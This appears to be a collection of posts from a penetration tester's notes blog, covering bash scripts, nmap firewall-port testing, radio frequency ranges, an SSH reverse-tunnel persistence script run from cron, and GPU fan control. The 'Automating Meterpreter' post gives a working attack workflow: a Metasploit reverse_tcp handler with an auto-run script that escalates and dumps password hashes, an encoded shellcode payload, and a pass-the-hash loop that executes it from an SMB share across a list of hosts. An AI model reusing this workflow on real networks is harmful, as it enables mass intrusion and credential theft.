Legal advice for all you evil hackers

What to do in the case of a "knock and talk" by the police:
http://www.primermagazine.com/2013/learn/legally-speaking-police-are-at-the-door

What to do if the police have a search warrant:
http://www.avvo.com/legal-guides/ugc/what-to-do-when-the-police-show-up-at-your-house-with-a-search-warrant

How to check if an IP from a domain is in a list of IPs

grep $(dig +short blah.domain.com) file-of-ips.txt

the +short parameter only returns the IP that the blah.domain.com resolves to.

VX8DR RX/TX Freqs

Stole this from some forum. just google it and you can find the source.

RX
Frequency Note
0.5 - 1.8 MHz BC Band. AM Radio
1.8 - 30 MHz Shortwave Band.
30 - 78 MHz 6 Meter Ham
76 - 108 MHz FM Radio
108 - 137 MHz Air Band
137 - 174 MHz 144 MHz Ham. 2 Meter
174 - 222 MHz VHF-TV
222 - 225 MHz 222 MHz Ham
225 - 420 MHz General Band 1
420 - 470 MHz 440 MHz Ham. 70 cm.
470 - 800 MHz UHF-TV
800 - 999 MHz General Band 2 Cellular Blocked

TX
50 - 54 MHz
144 - 148 MHz
222 - 225 MHz USA version only
430 - 440 MHz

TX w/ mod
50 - 54 MHz
144 - 148 MHz
148 - 174 MHz MARS/CAP Mod only
222 - 225 MHz USA version only
430 - 440 MHz
440 - 470 MHz MARS/CAP Mod only. FRS/GMRS freq range

Test allowed firewall ports

Sometimes you are behind some paywall/captive portal/firewall and you feel like certain pors would be left through if only you knew which of the over 65,000 ports did. The only way to really know is to check each one individually. Thats where http://portquiz.net/ comes in.

It's a site that registers every port as open. This way you know that if something is allowed through, it will come back in your port scan.

So behind your firewall, this:

nmap -p- -T4 portquiz.net -oA firewallcheck

now you can check the firewallcheck.nmap (or parse it out of gnmap) and find out which ports allow data through.

Number of Potential Ports in Private IP Space

So this is kind of interesting and it might be useful in the future.

The 10/8 network has 16,777,216 addresses

The 172.16/12 network has 1,048,576 addresses

The 192.168/16 network has 65,536 addresses

Combine those with 65,536 port numbers for TCP and the same for UDP and you get over 2.3 trillion (2,345,052,143,616) potential service endpoints.

So next time someone wants you to scan their private IP space, doesnt tell you what ranges there are and expects you to do it in 2 weeks, tell them to politely fuck off.

echo colored text in bash

Lots of tutorials tell you to use the "echo -e [blahblah" ANSI escape sequences to generate the colors for output. First of all those are practically impossible to read easily, they look like magic, and its a bitch to try to find a typo.

tput was created a while ago to remedy those issues. I've created a function/script that can be included in other scripts to easily generate colors.

#!/bin/bash
echo_color() {
 case ${1} in
 black)
  shift 1
  #echo $(COLOR)${user-supplied-text}$(NORMAL-COLOR)
  echo $(tput setaf 0)${*}$(tput sgr0)
  ;;
 red)
  shift 1
  echo $(tput setaf 1)${*}$(tput sgr0)
  ;;
 green)
  shift 1
  echo $(tput setaf 2)${*}$(tput sgr0)
  ;;
 yellow)
  shift 1
  echo $(tput setaf 3)${*}$(tput sgr0)
  ;;
 blue)
  shift 1
  echo $(tput setaf 1)${*}$(tput sgr0)
  ;;
 cyan)
  shift 1
  echo $(tput setaf 6)${*}$(tput sgr0)
  ;;
 magenta)
  shift 1
  echo $(tput setaf 5)${*}$(tput sgr0)
  ;;
 white)
  shift 1
  echo $(tput setaf 7)${*}$(tput sgr0)
  ;;
 underline)
  #yes i know its not a color, its still usefull though.
  shift 1
  echo $(tput setaf smul)${*}$(tput sgr0)
  ;;
 custom)
  color_code=${2}
  shift 2
  echo $(tput setaf ${color_code})${*}$(tput sgr0)
  ;;
 ls-color-codes)
  for i in $(seq 0 256); do 
  tput setaf ${i}
  printf " %3s" "$i"
  tput sgr0
  if [ $((($i + 1) % 16)) == 0 ] ; then
   echo #New line
  fi
  done 
  ;;
 *)
  cat <
This script will echo your text as a specified color.

Usage:
 $0
 $0 custom
 $0 ls-color-codes
USAGE
 esac
}
echo_color $*

I'm particularly happy with my ls-color-codes argument, it will print a 16x16 box of the color codes and their colors.

Happy scripting!

Automating Meterpreter from bash

This is pretty disgusting and a stupidly unstable hackjob, but it worked and this blog is more for notes for myself anyway...


Generate the post-exploitation comand rc file:

cat > /root/automsf.rc

getsystem

run post/windows/gather/smart_hashdump

run post/windows/gather/cachedump

exit

Then run msfconsole to listen for the callback:

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.10.10.10

set AutoRunScript multi_console_command -rc /root/automsf.rc

expoit -j -z

 Then generate the payload to use with sce:

msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=1.1.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

 Then run the forloop while serving sce from a share

for i in `cat file-of-smb-hosts`; do 

echo grabbing $i; 

winexe-PTH -U 'DOM\user%password' --uninstall //$i 'cmd.exe /c \\10.10.10.10\smb_share\sce.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lzHOys0uP30aplIKUfQn2QtNkf2vPNk0RdLlK0RftLK42Q86oMg1ZFFVQKOUayPLlElQqqlgrFL5piQXOdMGqzgxbHpaBCgLKV26pnkqR7LVaHPNk1PT8NeYP440J31zpbplKsx6xnkCha0uQiC8cGLBink4tNk7qIFp1io5aiPLlYQjodMwqO7GH9El45S1mIhEkQmtd1eZB3hnkchGTVaiC0fnkTL0KLKpXgluQkcnkwtlKC1xPLIRd14ddQKaKU1Ci1JCa9o9paHSopZNk7bXkmV3mE8FSTrWps0RH3Gt3p2copTBHPL47gVVgYoyEoHj0eQc0ePwYzdRtpPPhWYm; 

done

Now it should iterate through all of the IPs in the text file, executing sce from a share (no hard drive footprint) and executing the callback to your msfconsole listener. It then auto loads the rest of the payload, executes the .rc file, and exists. Rinse and repeat with the next IP

SSH Persistent Connection Script

I just reinstalled a test machine and forgot to save my ssh tunnel script so i decided to write a new one.

#!/bin/bash
#this script will constantly maintain (via crontab) a remote forward connection to another machine. This can
#be used as a way to connect to a jumpbox to get over a pesky NAT

remote_listen_port=2222
local_ssh_port=22
remote_host=example.com
remote_user=user1
identity_file=/home/user1/.ssh/key1

connect_string="ssh -N -T -R ${remote_listen_port}:localhost:${local_ssh_port} ${remote_user}@${remote_host} -i ${identity_file} -o ConnectTimeout=60 ServerAliveInterval=10"

process_is_up(){
 ps aux | grep "${connect_string}" | grep -v grep
}

start_bot(){
 ${connect_string}
}


if process_is_up ; then
 echo process is up, exiting
 exit 1
else
 echo process is down, starting now
 start_bot &
fi;
#add to root homedir and then crontab with the following line:
#* * * * * /root/ssh-bot-script.sh > /dev/null

Get/Set Fan Speeds for AMD Video Cards in Linux

I'm messing around with GPU cracking and I've been changing fan speeds manually a lot so I wrote a script to do it for me. This script will output the temperature & fan speed of the two cards in my system, as well as allow me to set the fan speeds for either/both:

#!/bin/bash
#ati-stats.sh - gives environmental stats about the ATI videocards. this assumes you have two cards
get_fan_speed () {
        DISPLAY=:0.${1}
        aticonfig --pplib-cmd "get fanspeed 0" | grep '%' | cut -d ':' -f 3
}

set_fan_speed () {
        DISPLAY=:0.${1}
        aticonfig --pplib-cmd "set fanspeed 0 ${2}"
}

get_temp () {
        aticonfig --adapter=${1} --odgt | grep Temp |cut -d '-' -f 2
}
if [[ -z ${1} ]]; then #if no arguments then output stats
        echo "0: $(get_temp 0) --$(get_fan_speed 0 )"
        echo "1: $(get_temp 1) --$(get_fan_speed 1 )"
else
        case ${1} in
                get)
                        get_fan_speed ${2}
                        ;;
                set)
                        oldspeed=$(get_fan_speed ${2})
                        set_fan_speed ${2} ${3}
                        echo "${2}: ${oldspeed} -> $(get_fan_speed ${2})"
                        ;;
                setboth)
                        oldspeed=$(get_fan_speed 0)
                        set_fan_speed 0 ${2}
                        echo "0: ${oldspeed} -> $(get_fan_speed 0)"
                        oldspeed=$(get_fan_speed 1)
                        set_fan_speed 1 ${2}
                        echo "1: ${oldspeed} -> $(get_fan_speed 1)"
                        ;;
                *)
                        echo "Usage: $0 [get Adapter_NUM | set Adapter_NUM fan_PERCENT | setboth fan_PERCENT]"
                        ;;
        esac;
fi;

Getting Better At Bash Scripting

some people really suck at bash scripting. Some people are just lazy. I'm the latter. Often times i know whats best, i just dont care because it really doesnt matter in that particular situation...

Here are a couple sites that made me become the go-to person for bashisms and all the "why doesnt this work" bash questions.

http://wiki.bash-hackers.org/start
http://tldp.org/LDP/abs/html/
http://www.tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
http://www.tldp.org/LDP/intro-linux/html/intro-linux.html
http://www.tldp.org/LDP/sag/html/sag.html

The bash-hackers link is a frackin' gold mine.